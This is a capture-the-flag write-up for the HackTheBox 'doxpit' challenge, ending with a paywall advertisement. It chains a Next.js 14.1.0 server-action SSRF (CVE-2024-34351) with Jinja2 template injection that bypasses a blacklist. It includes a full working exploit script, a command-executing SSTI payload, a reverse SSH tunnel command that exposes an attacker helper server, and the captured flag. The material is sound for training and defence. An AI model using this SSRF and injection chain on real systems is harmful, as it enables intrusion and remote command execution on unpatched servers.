$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Next.js 14.1.0 front-end with internal Flask AV scanner; CVE-2024-34351 SSRF in server actions plus Jinja2 SSTI with blacklist bypass. Solution: forge Host header to trigger SSRF via server action redirect, register user on internal Flask service, exploit render_template_string with {%print()%} and attr() filter chain to read flag.
The owner of famous underground forum doxpit has been allegedly kidnapped, now that turmoil ensues it is the right time to strike and take down this appalling operation.
A Docker container runs two services via supervisord: a Next.js 14.1.0 front-end on port 1337 (the only externally exposed port) serving a static "doxpit" paste forum UI, and an internal Flask 3.0.3 "AV scanner" service on port 3000 that is not directly reachable from outside. The flag is at /flag<random10hex>.txt, renamed at startup via entrypoint.sh.
The Dockerfile reveals the dual-service setup:
[email protected]) on port 1337 — the only EXPOSEd portflask==3.0.3) on port 3000 — internal only# supervisord.conf
[program:next]
command=npm start
directory=/app/front-end
[program:av]
command=python3 run.py
directory=/app/av
The front-end is entirely static — no API calls, no proxy to Flask. It's a decoy. The real attack surface is the internal Flask service, reachable only via SSRF.
Next.js 14.1.0 has a known SSRF vulnerability in server actions. When a server action calls redirect("/error") (a relative path starting with /), Next.js internally constructs a fetch URL as ${proto}://${host}${basePath}${redirectUrl}, where host comes from the client's Host header.
The front-end has a server action in app/serverActions.tsx:
"use server"; import { redirect } from "next/navigation"; export async function doRedirect() { redirect("/error"); }
The action ID is embedded in the homepage HTML as $ACTION_ID_0b0da34c9bad83debaebc8b90e4d5ec7544ca862.
The SSRF becomes a full-read SSRF through a two-step dance:
Content-Type: text/x-component, it proceeds.The Flask app at 127.0.0.1:3000 has a /register endpoint that accepts GET parameters:
@web.route("/register", methods=["GET"]) def register(): username = request.args.get("username") password = request.args.get("password") # ... token = generate(16) db_session.create_user(username, password, token) return render_template("error.html", title="success", error=f"User created with token: {token}"), 200
The SSRF is used to hit http://127.0.0.1:3000/register?username=pwn&password=pwn and extract the 32-hex token from the response HTML.
The token authenticates to /home via ?token=<token> — the auth_middleware checks request.args.get("token") against the database.
The /home route has a critical vulnerability:
@web.route("/home", methods=["GET", "POST"]) @auth_middleware def feed(): directory = request.args.get("directory") # ... with open("./application/templates/scan.html", "r") as file: template_content = file.read() results = scan_directory(directory) template_content = template_content.replace("{{ results.date }}", results["date"]) template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"]) return render_template_string(template_content, results=results)
The scanned_directory value comes directly from the user-supplied directory parameter and is string-replaced into the template before render_template_string() is called — a classic SSTI injection point.
There is a blacklist in general.py:
invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]
Bypass technique:
{%print(...)%} instead of {{...}} — statement tags are not blocked|attr() filter instead of . dot access__globals__ and the command via request.args to avoid _ and x in the directory parameterFinal SSTI payload:
{%print(lipsum|attr(request|attr('args')|attr('get')('g'))|attr('get')('os')|attr('popen')(request|attr('args')|attr('get')('c'))|attr('read')())%}
With additional query parameters: &g=__globals__&c=cat /flag*
This works because:
lipsum is a Jinja2 global (the Lorem Ipsum generator) that has __globals__ containing the os modulerequest|attr('args')|attr('get')('g') retrieves the string __globals__ from query params (avoiding _ in the directory value)request|attr('args')|attr('get')('c') retrieves cat /flag* (avoiding x from txt)The exploit chains all three stages automatically:
#!/usr/bin/env python3 import argparse import html import random import re import string import threading import time import urllib.error import urllib.parse import urllib.request from http.server import BaseHTTPRequestHandler, HTTPServer ACTION_RE = re.compile(r"\$ACTION_ID_([0-9a-f]{40})") TOKEN_RE = re.compile(r"User created with token: ([0-9a-f]{32})") FLAG_RE = re.compile(r"HTB\{[^}]+\}") class RedirectHandler(BaseHTTPRequestHandler): target = None def do_HEAD(self): self.send_response(200) self.send_header("Content-Type", "text/x-component") self.end_headers() def do_GET(self): self.send_response(302) self.send_header("Location", self.target) self.end_headers() def log_message(self, *_args): return def fetch(url, *, method="GET", headers=None, data=None): req = urllib.request.Request(url, method=method, headers=headers or {}, data=data) try: with urllib.request.urlopen(req, timeout=20) as resp: return resp.read().decode(errors="replace") except urllib.error.HTTPError as exc: return exc.read().decode(errors="replace") def scrape_action_id(base_url): body = fetch(base_url) match = ACTION_RE.search(body) if not match: raise RuntimeError("could not find Next server action ID in homepage HTML") return match.group(1) def trigger_ssrf(base_url, action_id, host_header): headers = { "Host": host_header, "Next-Action": action_id, "Accept": "text/x-component", "Content-Type": "text/plain", } return fetch(base_url, method="POST", headers=headers, data=b"{}") def randstr(length=8): return "".join(random.choice(string.ascii_lowercase) for _ in range(length)) def start_helper(listen, port): server = HTTPServer((listen, port), RedirectHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() time.sleep(0.2) return server def build_url(base, params): return f"{base}?{urllib.parse.urlencode(params)}" def main(): parser = argparse.ArgumentParser( description="Exploit DoxPit via Next.js SSRF -> internal Flask SSTI") parser.add_argument("base_url", help="Public challenge URL, e.g. http://94.237.x.x:12345/") parser.add_argument("--listen", default="127.0.0.1", help="Local helper bind address") parser.add_argument("--port", type=int, default=8000, help="Local helper bind port") parser.add_argument("--public-host", default=None, help="Host:port visible to target (use tunnel domain here)") parser.add_argument("--internal-base", default="http://127.0.0.1:3000", help="Internal Flask base URL") parser.add_argument("--command", default="cat /flag*", help="Command to execute via SSTI") args = parser.parse_args() base_url = args.base_url.rstrip("/") + "/" action_id = scrape_action_id(base_url) print(f"[+] action id: {action_id}") helper = start_helper(args.listen, args.port) host_header = args.public_host or f"{args.listen}:{args.port}" print(f"[+] helper host header: {host_header}") # Stage 2: Register user on internal Flask via SSRF username = f"pwn_{randstr()}" password = randstr(12) register_url = build_url( f"{args.internal_base}/register", {"username": username, "password": password}, ) RedirectHandler.target = register_url register_resp = trigger_ssrf(base_url, action_id, host_header) token_match = TOKEN_RE.search(register_resp) if not token_match: raise RuntimeError("could not extract token from SSRF register response") token = token_match.group(1) print(f"[+] token: {token}") # Stage 3: SSTI to read flag payload = ("{%print(lipsum|attr(request|attr('args')|attr('get')('g'))" "|attr('get')('os')" "|attr('popen')(request|attr('args')|attr('get')('c'))" "|attr('read')())%}") home_url = build_url( f"{args.internal_base}/home", { "token": token, "g": "__globals__", "c": args.command, "directory": payload, }, ) RedirectHandler.target = home_url flag_resp = trigger_ssrf(base_url, action_id, host_header) flag_match = FLAG_RE.search(html.unescape(flag_resp)) if not flag_match: raise RuntimeError("flag not found in final response") print(f"[+] flag: {flag_match.group(0)}") helper.shutdown() if __name__ == "__main__": main()
The helper server needs to be reachable from the target container. A localhost.run SSH reverse tunnel exposes the local helper publicly:
ssh -R 80:127.0.0.1:8000 [email protected] 2>&1 | tee localhostrun.log & # Wait for tunnel URL, e.g. d90f5f78134b82.lhr.life python3 solve.py http://TARGET:PORT/ --public-host d90f5f78134b82.lhr.life
Output:
[+] action id: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
[+] helper host header: d90f5f78134b82.lhr.life
[+] token: ff152f7d1b6b52fcef520a8f8ad83b6b
[+] flag: HTB{1t5_n0t_ju5t_4_fr0nt-3nd!}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar